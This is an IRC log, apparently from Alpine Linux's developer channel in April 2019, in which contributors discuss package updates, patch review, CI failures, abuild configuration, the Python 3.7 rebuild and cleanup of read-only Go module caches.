2019-04-15 11:47:35 <kmaxwell> my (very close to submitted) PR for #10137
2019-04-15 11:47:48 <ncopa> looks like different source packages
2019-04-15 11:47:48 <kmaxwell> will suggest moving the one from testing into community
2019-04-15 11:48:07 <kmaxwell> ncopa: it was a rename https://pep8.readthedocs.io/en/release-1.7.x/
2019-04-15 11:48:25 <ncopa> ah
2019-04-15 11:48:31 <ncopa> then we should use the new name
2019-04-15 11:48:43 <kmaxwell> pretty high profile at the time Guido Van Rossum came out and said he disliked the name of the most popular linter
2019-04-15 11:49:20 <kmaxwell> I can include a replaces= line and deleting the version from main in this PR?
2019-04-15 11:51:33 <ncopa> i guess so
2019-04-15 12:03:47 <mps> _ikke_: trying to send patch to move testing/iwd to community with first commit and in second commit to upgrade it I got two mails with subject prefix [PATCH 1/2] and in second mail [PATCH 2/2]
2019-04-15 12:04:22 <mps> is this how I should post it
2019-04-15 12:08:00 <_ikke_> mps: I think so, yes
2019-04-15 12:08:15 <_ikke_> (I haven't checked yet)
2019-04-15 12:09:07 <mps> I didn't posted yet ;)
2019-04-15 12:09:23 <mps> will now post, in a few minutes
2019-04-15 12:09:39 <_ikke_> ok
2019-04-15 12:16:39 <mps> uh, looks like I messed something. Received two mail from patchwork which looks fine but on patchwork.a.o it doesn't look good
2019-04-15 12:17:02 <_ikke_> It seems only the last one was received?
2019-04-15 12:18:07 <mps> yes, only second patch is there. will try to delete it and post again, although it is strange that I received both from aports in mail
2019-04-15 12:20:33 <_ikke_> danieli: Do you have an idea what might go wrong?
2019-04-15 12:21:38 <mps> uh, now are all four there
2019-04-15 12:21:57 <mps> probably I was impatient
2019-04-15 12:21:58 <_ikke_> So I guess we had to have a bit more patience
2019-04-15 12:22:00 <_ikke_> hehe :D
2019-04-15 12:22:52 <mps> will try to delete duplicate, good result is that I learned someting new about patchwork
2019-04-15 12:25:31 <mps> now it looks good, at least for me
2019-04-15 12:25:52 <_ikke_> Yup, seems to look good to me as well
2019-04-15 12:27:25 <mps> how should I mark previous patch to upgrade iwd to 0.16, which is not pushed, superseded or rejected. superseded sounds right to me but not sure
2019-04-15 12:28:10 <_ikke_> superseded indeed
2019-04-15 12:28:28 <mps> ok, thanks
2019-04-15 12:28:36 <_ikke_> rejected means that it was somehow not acceptable, while superseded means that they are no longer relevant
2019-04-15 12:31:29 <mps> aha, I thouhgt something like this. now is nice I can manage my own patches to some degree. didn't know for this possibility until now
2019-04-15 12:56:51 <kmaxwell> does CI run against draft pull requests?
2019-04-15 12:57:07 <kmaxwell> a GitHub feature I haven't used yet
2019-04-15 13:03:57 <kmaxwell> looks to me like drone does and travis doesn't
2019-04-15 13:36:37 <kmaxwell> ncopa: I just opened a python PR that touches 7 packages, it might help (& hopefully not hinder) your python 3.7 work - https://github.com/alpinelinux/aports/pull/7095
2019-04-15 14:00:03 <danieli> _ikke_: what's up?
2019-04-15 14:00:25 <_ikke_> danieli: All's good. Patience was virtue
2019-04-15 14:00:42 <danieli> I scrolled up and it looks like PW broke for a bit
2019-04-15 15:06:28 <tcely> Can we get pr6265 merged?
2019-04-15 15:34:45 <tcely> nmeum: it looks like you keep unbound up to date more than others. Did you not want to be maintainer?
2019-04-15 15:46:47 <tcely> pr6890 could use review from those familiar with python
2019-04-15 15:58:52 <tcely> mksully22: I just saw your commit switching from command -v to which. Would you explain why which is better?
2019-04-15 16:00:11 <nmeum> tcely: hm? unbound already has a maintainer
2019-04-15 16:01:42 <tcely> nmeum: the default one ;-) you seem to be doing the work, I was curious why it wasn't you
2019-04-15 16:03:36 <SpaceToast> tcely: not mksully22, but I'd imagine which is more convenient for them
2019-04-15 16:03:49 <SpaceToast> command -v is more portable though (see: command(1p))
2019-04-15 16:04:33 <nmeum> tcely: well…I just upgrade software I use personally when the maintainer doesn't do so in time
2019-04-15 16:04:35 <tcely> It replaced a built-in with an exec for no benefit I can see
2019-04-15 16:09:30 <tcely> "replace command -v with which to fix build issues" I can't figure any build issues this change could fix. From my experience they both behave in an identical manner when called with a single binary to find
2019-04-15 16:13:36 <tcely> hmm. BusyBox ash command -v is slightly broken for multiple binaries
2019-04-15 16:14:36 <tcely> ( command -v cat tac ) did not show the output I was expecting
2019-04-15 16:48:03 <otlabs> hi ppl
2019-04-15 17:08:43 <_ikke_> otlabs: hi
2019-04-15 17:10:36 <otlabs> _ikke_: greetings!
2019-04-15 17:11:40 <otlabs> I am upgrading main/libuv to 1.28.0 (PR6753). Travis CI is green, but Drone is red for x86 and x86_64 as same test is failing, arm archies are green. How to proceed in this case?
2019-04-15 18:48:12 <mps> _ikke_: sorry for annoying you again, did you looked at iwd patches I posted
2019-04-15 19:05:46 <tcely> ncopa: Did you have thoughts on the .upstream-repositories files and replacing .rootbld-repositories?
2019-04-15 19:26:42 <_ikke_> mps: Not yet, I will look at it in a moment
2019-04-15 19:27:55 <mps> ok, no hurry, just reminder to not forget
2019-04-15 20:18:39 <tcely> Anyone have thoughts on wht this test failed? https://cloud.drone.io/alpinelinux/aports/1522/4/1
2019-04-15 20:21:36 <tcely> s/wht/why/
2019-04-15 20:21:36 <alpine-meetbot> tcely meant to say: Anyone have thoughts on why this test failed? https://cloud.drone.io/alpinelinux/aports/1522/4/1
2019-04-15 20:41:41 <_ikke_> mps: Apparently the test suite of iwd depends on coreutils (ln)
2019-04-15 20:42:52 <_ikke_> mps: I'll push it with checkdepends="coreutils" added
2019-04-15 20:42:54 <mps> huh, I have coreutils installed on all my boxes and containers, so didn't noticed that
2019-04-15 20:43:13 <_ikke_> right
2019-04-15 20:43:18 <_ikke_> I try to keep my build containers lean
2019-04-15 20:43:33 <mps> I will check removing by removing coreutils
2019-04-15 20:43:54 <mps> but, I believe you are right
2019-04-15 20:44:07 <_ikke_> mps: http://tpaste.us/5w97
2019-04-15 20:44:09 <mps> so, go ahead if you think it is ok
2019-04-15 20:44:10 <_ikke_> I've added this patch
2019-04-15 20:44:19 <_ikke_> then it builds for me
2019-04-15 20:45:07 <mps> I'm ok with whatever you do
2019-04-15 20:45:47 <mps> if it builds with coreutils just push it
2019-04-15 20:46:43 <_ikke_> done
2019-04-15 20:46:57 <mps> I see, thanks
2019-04-15 20:47:17 <mps> let's see if it build on all arch's
2019-04-15 20:48:15 <mps> looks like it passed. now I can go back to fix vim
2019-04-15 20:53:32 <mps> right, without coreutils test fails, thanks for hint to keep build system lean as possible
2019-04-15 20:54:15 <_ikke_> I regularly review /etc/apk/world, remove things I don't need, and then run apk fix
2019-04-15 20:56:28 <mps> how to do development without vim, tmux, ssh for remote build system, rsync and some useful tools ;)
2019-04-15 20:56:55 <_ikke_> Yes, do have some of those as well
2019-04-15 20:57:24 <_ikke_> Only way to fix that is rootbld, but it does not work in my container
2019-04-15 20:57:38 <mps> nice thing is that is is easy and fast to deinstall and install them in needed cases
2019-04-15 20:58:35 <mps> maybe to create an alias for this before 'abuild -r'
2019-04-15 21:04:47 <SpaceToast> _ikke_: I believe you can run `apk add`
2019-04-15 21:04:51 <SpaceToast> instead of fix
2019-04-15 21:07:52 <mps> _ikke_: just another one question: now I have options to manage my posts to patchwork.a.o should I change status of posts or is that to you as commiter
2019-04-15 21:08:08 <otlabs> anybody using singularity here? https://www.sylabs.io/singularity/ , https://github.com/sylabs/singularity
2019-04-15 21:09:34 <tcely> mps: docker with volumes
2019-04-15 21:10:38 <mps> tcely: ?
2019-04-15 21:11:04 <tcely> "how to do development without vim, tmux, ssh for remote build system, rsync and some useful tools ;)"
2019-04-15 21:11:24 <tcely> I share volumes between the container with tools and the container that builds
2019-04-15 21:11:29 <SpaceToast> ++
2019-04-15 21:11:44 <SpaceToast> I should probably do that, but I'm lazy and have a persistent build server in lxd
2019-04-15 21:12:03 <SpaceToast> (so I don't have to worry about always specifying a key volume, extracting out the packagedir, etc)
2019-04-15 21:12:05 <mps> ah, so. I prefer lxc, and I have access to different arch's with lxc containers
2019-04-15 21:12:54 <tcely> I got tired of setup for building, so I just created an aports:edge container that shares my /aports directory and shares builder user / keys
2019-04-15 21:13:23 <tcely> Then I started running docker cp to pull built indexes into my /packages volume too
2019-04-15 21:13:46 <SpaceToast> the thing for me is my builder isn't an interactive machine
2019-04-15 21:13:52 <SpaceToast> and docker-over-network is awkward :)
2019-04-15 21:13:53 <mps> tcely: I'm not saying anything bad about this workflow, but I'm in situation where lxc is more appropriate
2019-04-15 21:14:35 <SpaceToast> (so I'll do the dev on my laptop over lxd exec)
2019-04-15 21:14:50 <SpaceToast> (and then git diff | git apply -> get it pushed)
2019-04-15 21:15:07 <mps> and I would like to have /aports auto shared, but for now I have to rsync them
2019-04-15 21:15:17 <tcely> I do lots on my laptop too, but the cycle of pushing up to git got too annoying when debugging
2019-04-15 21:17:32 <mps> well, yes, it's not straightforward but I can 'live' with current workflow although it sometimes make me 'angry' :)
2019-04-15 21:20:54 <SpaceToast> mps: you could probably sshfs for an "immediate" improvement
2019-04-15 21:20:57 <SpaceToast> for aports
2019-04-15 21:22:37 <mps> SpaceToast: over slow ADSL, no. Although I have sshfs connections to some of my servers on the net
2019-04-15 21:23:31 <mps> thought to use it for aports and even tried but was dissapointed
2019-04-15 21:23:56 <mps> imagine build rust in over sshfs ;)
2019-04-15 21:24:24 <SpaceToast> mps: erm, sshfs of your aports directory
2019-04-15 21:24:34 <SpaceToast> I don't think 2kb is that bad, even over slow ADSL
2019-04-15 21:24:51 <SpaceToast> just make sure src/ and pkg/ are elsewhere :)
2019-04-15 21:25:06 <mps> but, maybe it could set to mount just top level subdirs? hmm, will look, will be good if it can
2019-04-15 21:26:02 <tcely> pkg is under srcdir correct?
2019-04-15 21:27:17 <SpaceToast> by pkg I mean pkgdir
2019-04-15 21:28:40 <mps> hmm, good idea. will look at it
2019-04-15 21:28:44 <SpaceToast> hmm
2019-04-15 21:28:50 <SpaceToast> might not be possible to set custom srcdir/pkgdir
2019-04-15 21:29:03 <SpaceToast> I doubt it'd be that hard to add to abuild (make it overridable in abuild.conf)
2019-04-15 21:29:25 <mps> aha, just thought this
2019-04-15 21:30:41 <SpaceToast> certainly, it'd be useful for people in a lot of cases :)
2019-04-15 21:30:52 <SpaceToast> including ones different to here (e.g what if you want to build in tmpfs?)
2019-04-15 21:34:30 <tcely> We need to fix default_dbg it seems
2019-04-15 21:34:51 <tcely> Otherwise abuild looks good already
2019-04-15 21:37:39 <tcely> srcdir SRCDEST and pkgbasedir should all bet set to paths local to the builder
2019-04-15 21:38:01 <tcely> s/bet/be/
2019-04-15 21:38:01 <alpine-meetbot> tcely meant to say: srcdir SRCDEST and pkgbasedir should all be set to paths local to the builder
2019-04-15 21:38:42 <SpaceToast> tcely: no see that's the thing; in this case we want srcdir and pkgbasedir to be overridable (i.e not in the same directory as APKBUILD, nor in $PWD)
2019-04-15 21:39:28 <SpaceToast> oh, I see
2019-04-15 21:39:34 <SpaceToast> mps: https://github.com/alpinelinux/abuild/blob/master/abuild.in#L2560
2019-04-15 21:40:01 <tcely> Yes, I got that. They are except srcdir is being garbled in default_dbg
2019-04-15 21:41:08 <mps> SpaceToast: I'm looking at it in vim
2019-04-15 21:41:32 <SpaceToast> mps: line 2560 then :)
2019-04-15 21:41:49 <SpaceToast> tcely: I think that's a different srcdir
2019-04-15 21:42:02 <SpaceToast> it seems to refer to a subdirectory of pkgdir
2019-04-15 21:42:07 <tcely> it is not unfortunately
2019-04-15 21:42:24 <mps> I see, thanks
2019-04-15 21:43:00 <SpaceToast> I'll probably test it out once I get home
2019-04-15 21:43:03 <mps> if I could see anything after full day behind monitor
2019-04-15 21:43:03 <SpaceToast> and report back :)
2019-04-15 21:43:29 <SpaceToast> mps: basically, I think you can define srcdir and pkgbasedir in alpine.conf and get away with it
2019-04-15 21:43:40 <SpaceToast> (though of course, take care to only do one package at a time, then)
2019-04-15 21:43:44 <mps> looks so
2019-04-15 21:45:24 <tcely> https://github.com/alpinelinux/abuild/blob/ff4f2253c11ca21c75f529adc8b12785f8afc970/abuild.conf#L12
2019-04-15 21:45:50 <mps> I'm too tired, have to go out in fresh air. good night to all :)
2019-04-15 21:45:55 <tcely> So SRCDEST is already done
2019-04-15 21:46:33 <SpaceToast> tcely: I thinnk you could just specify pkgbasedir and srcdir the same way
2019-04-15 21:46:56 <SpaceToast> it'd be nice if you could specify a sort of "namedbasedir" or similar, so you could just set and forget (including concurrency)
2019-04-15 21:47:31 <SpaceToast> i.e consider a package under repo/package/APKBUILD; it'd be nice if you could set namedbasedir to /tmp/abuild and have it auto-create /tmp/abuild/package/{src,pkg} or similar
2019-04-15 21:47:39 <SpaceToast> but as-is it's good enough for most uses, methinks
2019-04-15 21:47:49 <tcely> Yes, you should be able to handle pkgbasedir and srcdir the same way
2019-04-15 21:48:58 <tcely> SpaceToast: file an issue, some kind person might patch abuild for us
2019-04-15 21:49:20 <SpaceToast> eh, I might do it myself if I'm ever sufficiently annoyed
2019-04-15 21:49:35 <SpaceToast> (did that with default_cleanup_srcdir; because of golang)
2019-04-15 21:49:36 <otlabs> mps: good night
2019-04-15 21:49:52 <SpaceToast> unfortunately cleanup is kind of awkward within abuild, I would have liked to have a default_cleanup in general :/
2019-04-15 21:50:12 <SpaceToast> but imo that approach is/was still better than an option that'd end up being pretty use-specific
2019-04-15 21:53:28 <otlabs> time to go, see you ppl
2019-04-15 22:00:33 <kmaxwell> tcely: saw you add a py3-ply package in pr6890, I've a different version if it helps https://tpaste.us/vbRW
2019-04-15 22:01:12 <kmaxwell> think the biggest difference I noticed was my dependency on py3-six
2019-04-15 22:02:12 <tcely> kmaxwell: thanks!
2019-04-15 22:02:46 <tcely> Why did you decide six was needed?
2019-04-15 22:03:01 <kmaxwell> hmmmm, let me think... one sec
2019-04-15 22:06:31 <kmaxwell> tcely: good question, I was wrong is probably the answer! :)
2019-04-15 22:06:45 <kmaxwell> looking again I think it belongs in checkdepends https://github.com/dabeaz/ply/blob/master/test/testcpp.py#L4
2019-04-15 22:06:45 <Invader__Bork> are they any home routers out there that run alpine?
2019-04-15 22:07:33 <SpaceToast> my home router runs alpine
2019-04-15 22:07:38 <SpaceToast> but it wasn't a home router before I made it one :)
2019-04-15 22:07:58 <tcely> Invader__Bork: probably. This kind of detail doesn't end up in marketing materials
2019-04-15 22:08:02 <SpaceToast> ¯\_(ツ)_/¯
2019-04-15 22:09:48 <tcely> kmaxwell: I don't think mine used check so that makes sense
2019-04-15 22:10:43 <tcely> Did you see the recommendation to include ply in the project using it?
2019-04-15 22:20:01 <kmaxwell> yeah that seems unhelpful, don't know what to say
2019-04-15 22:20:23 <kmaxwell> I have it as a dependency for beancount, which doesn't include it directly
2019-04-15 22:20:49 <kmaxwell> unrelated question, is there a way to query the dependencies of a .apk without installing it?
2019-04-15 22:24:48 <SpaceToast> kmaxwell: apk info -R $pkgname
2019-04-15 22:28:59 <kmaxwell> SpaceToast: thanks! :) that with -X gets me what I need
2019-04-15 22:32:32 <tcely> https://github.com/alpinelinux/abuild/pull/58
2019-04-15 22:33:07 <tcely> That should get rid of variable problems with -dbg
2019-04-15 22:34:32 <SpaceToast> tcely: looks like a somewhat split tree
2019-04-15 22:34:40 <SpaceToast> (take a look at the commit list for the PR)
2019-04-15 22:34:55 <tcely> Yes web interface is not ideal
2019-04-15 22:36:10 <tcely> I'll fix it when I get back to CLI
2019-04-15 22:36:37 <SpaceToast> ^^
2019-04-15 22:40:47 <tcely> https://github.com/alpinelinux/abuild/pull/58/commits/00ccf71b48259b20317260ea43c6cb86d2e06d17
2019-04-15 22:41:10 <tcely> That is the only commit that matters
2019-04-16 00:30:43 <ddevault> how are APKINDEX files prepared for the main mirrors?
2019-04-16 00:31:06 <ddevault> I use `apk index *.apk` (ish) but I have more packages than the maximum length of the linux command line now
2019-04-16 01:40:30 <[[sroracle]]> ddevault: APKINDEX is updated when each new package is built. And apk has an option to reuse an existing APKINDEX i believe
2019-04-16 01:40:42 <ddevault> -x, but it doesn't behave the way I'd expect
2019-04-16 01:40:44 <[[sroracle]]> so you don’t have to specify all packages each time
2019-04-16 02:18:12 <clandmeter> morning
2019-04-16 02:18:42 <clandmeter> ddevault: you have more pkgs in your repo as we have on our repos on mirrors
2019-04-16 02:18:44 <clandmeter> ?
2019-04-16 02:19:02 <ddevault> ?
2019-04-16 02:20:14 <clandmeter> which part you dont understand?
2019-04-16 02:20:28 <clandmeter> you mention you hit a limit
2019-04-16 02:20:38 <ddevault> right
2019-04-16 02:20:52 <clandmeter> is that because you have more packages in your repo?
2019-04-16 02:20:55 <ddevault> no
2019-04-16 02:21:07 <ddevault> I have enough packages that the command line arguments necessary to run `apk index *.apk` exceeds the limit for the maximum length of a single command on linux
2019-04-16 02:21:11 <ddevault> however
2019-04-16 02:21:18 <ddevault> I have fewer packages than the alpine mirrors
2019-04-16 02:21:32 <ddevault> so my reasoning is that you guys must be doing something differently than I am in order to generate your indicies
2019-04-16 02:22:03 <clandmeter> maybe different shell?
2019-04-16 02:22:13 <ddevault> it's not a shell limitation
2019-04-16 02:22:28 <clandmeter> i dont think we do anything special
2019-04-16 02:22:37 <ddevault> where's the code that creates the indicies for you?
2019-04-16 02:23:45 <clandmeter> buildrepo
2019-04-16 02:24:13 <ddevault> thanks
2019-04-16 02:24:15 <ddevault> I'll check it out
2019-04-16 02:24:31 <clandmeter> https://git.alpinelinux.org/lua-aports/tree/bin/buildrepo.lua#n252
2019-04-16 02:25:33 <ddevault> looks like it's just apk index *.apk
2019-04-16 02:25:35 <ddevault> bizzare
2019-04-16 02:25:38 <ddevault> something else must be wrong with my setup
2019-04-16 07:11:00 <tcely> Anyone using unbound.py may want to review pr6937
2019-04-16 07:15:51 <tcely> pr6265 needs someone with access to main to merge it
2019-04-16 07:21:44 <mps> ddevault: cd ~/aports/main/some_package ; abuild index
2019-04-16 07:22:55 <mps> will recreate APKINDEX.tar.gz for the main
2019-04-16 07:23:12 <mps> same for testing or community
2019-04-16 07:24:17 <mps> not sure it will help in your case, but for me it works whenever I remove or move files by hand
2019-04-16 07:45:50 <tcely> Additional review on pr6890 is welcome. In particular, using the python based utilities. Also, when bind-tools is not installed everything should continue working.
2019-04-16 09:41:01 <ncopa> \o/ rebuilt community packages with python 3.7
2019-04-16 09:41:07 <ncopa> now its only testing left
2019-04-16 09:41:09 <ncopa> and a rebase
2019-04-16 09:45:03 <_ikke_> ncopa: w00t
2019-04-16 09:50:30 <fcolista> gr8
2019-04-16 10:09:51 <kmaxwell> fantastic! well done
2019-04-16 10:18:51 <TBB> not to mention nmtui at least 4 months back just exploded uiwise
2019-04-16 10:24:37 <fcolista> is it going  wireguard be moved to community before 3.10 release?
2019-04-16 10:27:49 <mps> fcolista: would be nice
2019-04-16 10:31:17 <mps> btw, last night iwd is moved to community. anyone interested in using please test it and post comments or possible bug reports to fix it before next stable release
2019-04-16 10:52:54 <kmaxwell> am I missing something or do you need extra permissions to mark an issue resolved in b.a.o?
2019-04-16 10:53:46 <_ikke_> As it is now, only people explicitly added to the project can mark issues as resolved
2019-04-16 10:54:06 <_ikke_> kmaxwell: is it an issue you opened yoursel
2019-04-16 10:54:08 <_ikke_> f
2019-04-16 10:54:33 <kmaxwell> its this one: https://bugs.alpinelinux.org/issues/10137
2019-04-16 10:55:06 <kmaxwell> ncopa just merged the fix, I added a comment to show its been resolved, but its still sitting as "New"
2019-04-16 10:55:30 <_ikke_> Right, you either need to be a developer or the author of the issue
2019-04-16 10:56:20 <kmaxwell> well I "developed" the fix but I don't think I'm a developer :)
2019-04-16 10:56:25 <_ikke_> kmaxwell: usually something like 'fixes #1234' is added to the commit message and that would automatically resolve it in redmine
2019-04-16 10:58:13 <_ikke_> Does it make any sense to set depens= in the package function? (reviewing a PR)
2019-04-16 10:58:31 <kmaxwell> _ikke_: thank you! didn't know redmine that integration, will try it out next time
2019-04-16 10:59:21 <kmaxwell> _ikke_: yes, I have done it in python packages so that the py-something depends on the py3-something and adds a link from /usr/bin/something to /usr/bin/something-3
2019-04-16 11:01:26 <kmaxwell> because depends= is reset in the sub packages it can help to set a default
2019-04-16 11:02:35 <_ikke_> kmaxwell: that last part is afaik reverted again
2019-04-16 11:03:31 <kmaxwell> sorry I lost track! but the same logic applies if you set depends="" in the subpackage
2019-04-16 11:30:15 <ncopa> i now have 361 commits for python 3.7 rebuidls
2019-04-16 11:33:51 <_ikke_> Just a couple ;-)
2019-04-16 12:17:01 <kmaxwell> how do environment variables work across APKBUILD functions?
2019-04-16 12:17:17 <kmaxwell> if they are set in build() are the available in package()?
2019-04-16 12:33:17 <ncopa> kmaxwell: i dont think you should count on that
2019-04-16 12:55:27 <kmaxwell> thanks ncopa, I can create a separate function to set them up
2019-04-16 13:08:15 <Xe> where are the abuild private keys stored?
2019-04-16 13:08:40 <_ikke_> your personal ones?
2019-04-16 13:09:05 <Xe> yeah, trying to make sure they're part of a backup
2019-04-16 13:09:25 <_ikke_> by default in ~/.abuild
2019-04-16 13:09:32 <Xe> thanks
2019-04-16 14:39:15 <ncopa> bumped into first issue with async and python 3.7
2019-04-16 14:39:27 <ncopa> but found upstream patch
2019-04-16 15:36:44 <_ikke_> depends="${subpackages##*-doc}" looks problematic to me, it basically filters out the doc subpkg by relying it is the first one in the list. Any ideas about that?
2019-04-16 15:41:30 <[[sroracle]]> Easier to have like $_subpackages which has everything but doc, then subpackages=“$_subpackages $pkgname-doc” and depends=“$_subpackages”
2019-04-16 15:41:36 <[[sroracle]]> etc
2019-04-16 15:42:08 <mksully22> tcely: Reason for switching "command -v to which" is described in the comments in the original PR https://github.com/alpinelinux/abuild/pull/51   ... command -v causing build breaks on ppc64le
2019-04-16 15:42:39 <tcely> mksully22: thanks for the link
2019-04-16 15:54:42 <tcely> That analysis isn't entirely accurate. If command -v pigz did not succeed, the echo should have assigned gzip to the variable.
2019-04-16 15:55:46 <tcely> The fact that switching to which did anything points toward the shell being broken.
2019-04-16 15:59:02 <tcely> clandmeter: are there hopes of having ppc64le CI ?
2019-04-16 16:01:18 <mksully22> tcely: I agree that it should have assigned gzip to the variable on failure but it didnt and the variable remained null and so the later attempt to invoke the archiving failed
2019-04-16 16:07:37 <tcely> That is most odd
2019-04-16 16:11:13 <mksully22> tcely: yes very odd. I hope to look closer at the root failure
2019-04-16 16:12:00 <tcely> https://github.com/alpinelinux/abuild/blob/57f2830739e31f9c73d2edaf5103502fbdae6822/abuild.in#L1507
2019-04-16 16:12:37 <tcely> That appears to be local used outside of a function due to the subshell
2019-04-16 18:03:18 <SpaceToast> some rust projects now depend on newer versions of rust than what we have :/
2019-04-16 18:03:33 <SpaceToast> we're on 1.31 and 1.34 is starting to become a more common "minimal required version"
2019-04-16 18:03:35 <_ikke_> bound to happen
2019-04-16 18:04:03 <SpaceToast> yeah, it's only been out for about 5 days but the release before that was 1.33 etc
2019-04-16 18:04:08 <SpaceToast> is there any chance we could get an update?
2019-04-16 18:04:22 <_ikke_> Someone needs to work on it I suppose
2019-04-16 18:04:29 <SpaceToast> (the maintainer is jirutka, so it's a bit more complicated than it'd be normally)
2019-04-16 18:04:35 <_ikke_> indeed
2019-04-16 18:04:46 <_ikke_> And rust is not trivial at all
2019-04-16 18:05:28 <SpaceToast> thankfully, the thing that just bumped minimal version isn't in the main tree yet (just in my user-aports), but I'd still rather keep everything I work on up to date :/
2019-04-16 18:07:07 <_ikke_> The main problem I understood from a while ago is that it becomes harder and harder to bootstrap rust
2019-04-16 18:08:09 <SpaceToast> isn't go the same way?
2019-04-16 18:08:32 <SpaceToast> (i.e you need an ancient version that still used C in order to be able to bootstrap some later version etc)
2019-04-16 18:09:13 <SpaceToast> for go we just have go-bootstrap
2019-04-16 18:09:16 <_ikke_> In rusts case, they also rely on their package manager
2019-04-16 18:09:34 <_ikke_> So you also need to have pre-build crates
2019-04-16 18:09:35 <SpaceToast> aha
2019-04-16 18:10:01 <_ikke_> (that's all what I recall from memory from this channel)
2019-04-16 18:12:03 <_ikke_> So anoying, my earbud wires have a cable break, so one channel is gone, unless I keep it in one specific way
2019-04-16 19:10:08 <kmaxwell> _ikke_: I think you can close pr6389
2019-04-16 19:10:53 <kmaxwell> I just commented so alternatively the original submitter might in time
2019-04-16 19:15:16 <otlabs> hi ppl
2019-04-16 19:15:39 <_ikke_> otlabs: o/
2019-04-16 19:15:46 <otlabs> _ikke_: yo!
2019-04-16 19:15:53 <otlabs> i got your comment
2019-04-16 19:15:57 <otlabs> thank you
2019-04-16 19:16:07 <otlabs> and already answered it on github
2019-04-16 19:16:13 <_ikke_> Yeah, I've seen it
2019-04-16 19:16:24 <_ikke_> So do you know if it's needed or not?
2019-04-16 19:16:37 <otlabs> i came here in pease :-) to see if i can answer more questions
2019-04-16 19:17:02 <_ikke_> That's the only question I have :)
2019-04-16 19:17:06 <otlabs> i very unsure it need all these 3 libraries
2019-04-16 19:17:21 <_ikke_> Easiest way is to try to install the package and use it
2019-04-16 19:17:46 <otlabs> what's what i plan to do tomorrow
2019-04-16 19:18:11 <_ikke_> ok
2019-04-16 19:19:23 <otlabs> that's why i was asking if someone already uses singularity
2019-04-16 19:43:12 <_ikke_> kmaxwell: I'll wait a bit for the author to show up. We can always close it later
2019-04-16 19:44:15 <kmaxwell> thanks _ikke_ sounds like a plan :)
2019-04-16 19:44:59 <tcely> kmaxwell: https://github.com/alpinelinux/aports/pull/6890/commits/6584db867bf1b59c77dc1dcf5ba30b19a90d4346
2019-04-16 19:45:31 <tcely> It turns out your changes and mine were not so far apart as I remembered
2019-04-16 19:45:34 <kmaxwell> 182 seems like a low number anyway!
2019-04-16 19:45:43 <kmaxwell> tcely: that's cool!
2019-04-16 19:45:54 <kmaxwell> and you bring up a point that I wanted to ask about in here
2019-04-16 19:46:28 <kmaxwell> I get that the policy is draft at the moment https://wiki.alpinelinux.org/wiki/Python_package_policies
2019-04-16 19:46:50 <kmaxwell> but I wanted to ask should we be consistent with the variable name for the package on pypi.org?
2019-04-16 19:47:34 <tcely> I don't understand what you are asking yet.
2019-04-16 19:47:36 <kmaxwell> draft policy has _pyname, tcely (in that PR) uses _pkgname and I've seen other variations
2019-04-16 19:47:49 <kmaxwell> what's the right one to choose?
2019-04-16 19:48:12 <tcely> Ah. I was unaware of _pyname, I'm happy to go with that.
2019-04-16 19:49:05 <kmaxwell> ddevault: is this an important part of your proposal?
2019-04-16 19:49:51 <ddevault> I don't know about important
2019-04-16 19:49:56 <ddevault> but it was bikeshed a bit
2019-04-16 19:50:39 <kmaxwell> I can see advantages to being consistent
2019-04-16 19:53:06 <kmaxwell> _pyname isn't in main, the only community packages using it I've added, and its a bit more widespread in testing
2019-04-16 19:53:23 <kmaxwell> _pkgname is used heavily across all the repos
2019-04-16 19:53:50 <otlabs> possible bug in abuild on x86 and x86_64 platforms: https://cloud.drone.io/alpinelinux/aports/1545
2019-04-16 19:54:27 <kmaxwell> so I'd humbly suggest we update the draft policy to stick with _pkgname?
2019-04-16 19:54:32 <otlabs> packaging is fine, compression is possibly fine, but following clean up is not
2019-04-16 19:54:36 <kmaxwell> what do people think?
2019-04-16 19:55:57 <_ikke_> otlabs: the question is why it's getting permission denied
2019-04-16 19:56:33 <_ikke_> Is the project somehow changing file permissions for example
2019-04-16 19:56:46 <otlabs> _ikke_: i have same issue on my local machine
2019-04-16 19:56:59 <otlabs> i am unable to figure out why
2019-04-16 19:57:24 <otlabs> i also unable to clean up with rm -rf src/
2019-04-16 19:57:39 <otlabs> but sudo rm -rf src/ works fine
2019-04-16 19:58:03 <otlabs> i am unable to find any files owned not by me
2019-04-16 19:58:49 <_ikke_> and file permissions?
2019-04-16 19:59:08 <otlabs> right
2019-04-16 19:59:15 <otlabs> let me check that
2019-04-16 19:59:20 <SpaceToast> otlabs: is this a golang project?
2019-04-16 19:59:37 <_ikke_> yes
2019-04-16 20:00:13 <otlabs> SpaceToast: yes
2019-04-16 20:00:22 <SpaceToast> cleanup_srcdir() { go clean -modcache; default_cleanup_srcdir; }
2019-04-16 20:00:24 <SpaceToast> enjoy
2019-04-16 20:00:29 <SpaceToast> (not on a single line :) )
2019-04-16 20:00:46 <otlabs> SpaceToast: thanks a lot
2019-04-16 20:00:47 <tcely> chmod -Rc u+rw "$srcdir"
2019-04-16 20:01:22 <tcely> directories or files that had write permissions removed could be causing errors with rm
2019-04-16 20:01:35 <otlabs> i see some drwxr-sr-x
2019-04-16 20:01:43 <_ikke_> SpaceToast: right, I was about to suggest that :)
2019-04-16 20:01:48 <SpaceToast> yeah, go's new modules system keeps things read-only
2019-04-16 20:01:56 <SpaceToast> so rm refuses to remove them (unless you're root and using -f)
2019-04-16 20:02:16 <SpaceToast> going over chmodding everything is kind of dirty looking, and you'll need to do it in cleanup() anyway
2019-04-16 20:02:24 <SpaceToast> so might as well use the special-purpose command instead
2019-04-16 20:02:31 <SpaceToast> let the thing that messed things up fix'em :)
2019-04-16 20:02:38 <otlabs> thanks for explanation, i completely missed this possibility
2019-04-16 20:02:44 <_ikke_> it's new
2019-04-16 20:02:44 <tcely> that's fair. :-)
2019-04-16 20:03:07 <SpaceToast> yeah, the problem is relatively new, so solutions only popped up a few months ago
2019-04-16 20:03:29 <_ikke_> I ran into a similar problem with redo, where some tests left files/dirs read-only
2019-04-16 20:03:33 <SpaceToast> _ikke_ was suggesting a special option that would chmod, I suggested having an overridable cleanup() (but cleanup() is a mess, so cleanup_*)
2019-04-16 20:05:09 <_ikke_> The advantage of doing in in the clean-up face is that it even works when there are errors (and thus a chmod somewhere else may not have run)
2019-04-16 20:07:13 <tcely> cleanup_srcdir() { go clean -modcache; chmod -Rc u+w "$srcdir"; default_cleanup_srcdir; }
2019-04-16 20:07:34 <tcely> So use the nice new function, and get a report of anything go clean missed. ;-)
2019-04-16 20:08:03 <otlabs> super! thanks!
2019-04-16 20:10:07 <otlabs> needs a check if src/ exists
2019-04-16 20:11:01 <_ikke_> yes, indeed
